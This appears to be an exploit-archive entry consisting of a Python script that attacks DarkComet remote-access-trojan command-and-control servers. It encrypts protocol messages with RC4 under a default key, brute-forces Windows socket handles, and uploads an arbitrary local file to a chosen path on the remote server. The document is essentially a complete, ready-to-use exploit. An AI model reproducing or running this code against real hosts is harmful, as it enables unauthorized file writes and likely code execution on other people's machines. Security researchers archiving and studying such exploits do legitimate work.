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DarkComet (C2 Server) - File Upload Exploit
#!/usr/bin/env python3 # # EDB Note: Source ~ https://gist.github.com/PseudoLaboratories/260b6f24844785aacc1e2fb61dd05c01/259944bd94a0d289ef80b9138c1e3f97a97aa9cd # from time import sleep from socket import socket, AF_INET, SOCK_STREAM, error from re import search from Crypto.Cipher import ARC4 from binascii import hexlify, unhexlify import argparse def good(text): print('[+] ' + text) def bad(text): print('[-] ' + text) def normal(text): print('[*] ' + text) def decrypt(data, key): return ARC4.new(key).decrypt(unhexlify(data)).upper() def encrypt(data, key): return hexlify(ARC4.new(key).encrypt(data)).upper() def upload(domain, port, key, local, remote, test): remote = remote.replace('\\', '/') f = open(local, "rb") client = socket(AF_INET, SOCK_STREAM) client.settimeout(5.0) client.connect((domain, port)) try: idtype = decrypt(client.recv(12), key) if idtype != b'IDTYPE': bad('Key seems to be wrong!') return filetransfer = encrypt('FILETRANSFER111|%s' % test, key) client.send(filetransfer) client.recv(3) client.send(b'FILEBOF' + remote.encode('utf-8') + b'|111') client.recv(1) content = f.read() current = 0 while (current + 1024) < len(content): current += client.send(content[current:current+1024]) client.recv(1) client.send(content[current:len(content)]) client.recv(1) client.send(b'FILEEOF') client.recv(1) client.send(b'FILEEND') client.close() return True except error as e: client.close() return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='bruteforce socket handle and upload arbitrary files to DarkComet servers') parser.add_argument('--port', '-p', dest='port', type=int, default=1604, help='port of the DarkComet server') parser.add_argument('--key', '-k', dest='key', default='#KCMDDC51#-890', help='password of the DarkComet server') parser.add_argument('--start', '-s', dest='start', type=int, default=0) parser.add_argument('--end', '-e', dest='end', type=int, default=2400) parser.add_argument('domain', help='domain name/ip of the DarkComet server') parser.add_argument('local', help='file name of the local file') parser.add_argument('remote', help='remote relative file path') args = parser.parse_args() for i in range(args.start, args.end, 4): # Increment by 4 because Windows seems to only # generate socket handles that are multiples of 4 normal('Trying ' + str(i)) if upload(args.domain, args.port, args.key, args.local, args.remote, i): good('Uploaded successfully!') break sleep(2) # 0day.today [2024-07-03] #